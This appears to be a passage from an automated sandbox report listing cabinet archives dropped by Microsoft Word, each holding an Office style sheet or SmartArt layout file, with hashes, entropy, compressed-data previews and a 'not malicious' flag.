C:\Users\user\AppData\Local\Temp\cab7D83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cab7D94.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cab7D95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cab7D96.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20457
Entropy (8bit):	7.612540359660869
Encrypted:	false
SSDEEP:	384:KyeISBuydn5rpmp77G8E0GftpBjE/kFLrHRN7ngslI66YVj:KHISBvd5rpmFG8Pi6/6nK666j
MD5:	4EFA48EC307EAF2F9B346A073C67FCFB
SHA1:	76A7E1234FF29A2B18C968F89082A14C9C851A43
SHA-256:	3EE9AE1F8DAB4C498BD561D8FCC66D83E58F11B7BB4B2776DF99F4CDA4B850C2
SHA-512:	2705644D501D85A821E96732776F61641FE82820FD6A39FFAF54A45AD126C886DC36C1398CDBDBB5FE282D9B09D27F9BFE7F26A646F926DA55DFF28E61FBD696
Malicious:	false
Preview:	MSCF............D................................?..................................chevronaccent.glox.................Content.inf..O.$N...[.........B.....?.....$Zy..Zkr...y<.....Di-.aVX/....h..-.~........#.../.Fz....T...p....A..eHMe[..p...=................f..../%o......F@..=..$.B!....}.0..g..^vlI......f.W.F...Nm..2`...)...,.HL4.nsl.F.ir.k..e.!^.j2.v.iT....t.....!h..Y...2Q..-.x.,.Xj.U.cj,....9.....)..W..n3f.......(cH.D.4M.!.+..4..3r..y......\|r..@.PD.R..#...F..nJAR..1{-.....u3..$..L.b+h....:lZ.>....q.?. ~l..^.%.m....a...cG.h.?.\|.?7.'....b.G.4..'..A...o.Z...//..?...d.......C..Z.....]Yv.g.]..... .........]x.#=.../.7;R.j....G.....zq=O`[.'5g.D.u..)..../../.v.JmCW.da....3.f..C.z%...S=....;A.q.\|....z.E.aRu........ k..J"+.f.S.@.........eD4....\0..t./U..%.H..........M:..U.......J...Z..H.DG..u^..D..P....`.^b.........`c......#.....c.?...#..C.V.&.'..f.'...f.[..F.O..a...&..{TiXg4; .X."..0...B.#..^..........N"..w.@f...gd.S..K.....E....ZR...;.twR>.z.

C:\Users\user\AppData\Local\Temp\cab7D97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cab7D98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20554
Entropy (8bit):	7.612044504501488
Encrypted:	false
SSDEEP:	384:zEAH676iPi8+IS5iqn7G8E0GftpBjExDxIHFLrHRN7Ke/ll7PK/pGaz6:zEhG8+ISrG8Pi6xDxCKoIGaz6
MD5:	486CBCB223B873132FFAF4B8AD0AD044
SHA1:	B0EC82CD986C2AB5A51C577644DE32CFE9B12F92
SHA-256:	B217393FD2F95A11E2C594E736067870212E3C5242A212D6F9539450E8684616
SHA-512:	69A48BF2B1DB64348C63FC0A50B4807FB9F0175215E306E60252FFFD792B1300128E8E847A81A0E24757B5F999875DA9E662C0F0D178071DB4F9E78239109060
Malicious:	false
Preview:	MSCF....:.......D...........................:....?..................................PictureFrame.glox.................Content.inf........[.... '.q..@.........<./..+./. ...."o.o./..{^a.7^.D.HA....^J... ...........T%q..b...+pz.n.=....jT.+M..=H..A...py.3.........H...N...[..%..~....>.%....3.r...wx.....0.....7..94..2..45..7f.......D.. ...[...f.:H..../N..4.....8.....:x.I....u\|.`."...\..N..%.M#..^v$.*....T.m.....?.-.wki.X..8..F.G..Y.^8...-....+.&.+&.No...e!.#.8.....YF.......<w.....=.Q.S..7....MW....M..9A.3..c..L....\|.E-Y....]n".\|....b9..l@.d.T...a.f...~.&k.[..yS..q..]L}..)w.....$.@..v...[9..X....V...a.NK....m9.5.....Kq.;9`.U.e...8.<..)Y.H........z.G...3n.yWa.g.>.w!e.B8:......f..h..z....o.1<.RT..WK...?g .N..+..p.B.\|...1pR_......@...a....aA......ye..8...+M.l..(.d..f.;....g........8R.\.w.:ba....%...\|p....`lrA.\|....a.U.m=ld......7....#..?Dq..D.....(.5.K.a..c.G..7..]hF..%:}......}J.j$.....4...l];..v>.&j........Y.vk..$1.@X$...k...9..?...z..![..../...).a.=....aZ^.3?....

C:\Users\user\AppData\Local\Temp\cab7D99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cab7D9A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cab7DAD.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cab7DAE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cab7DAF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cab7DB0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cab7DB1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cab7DC1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
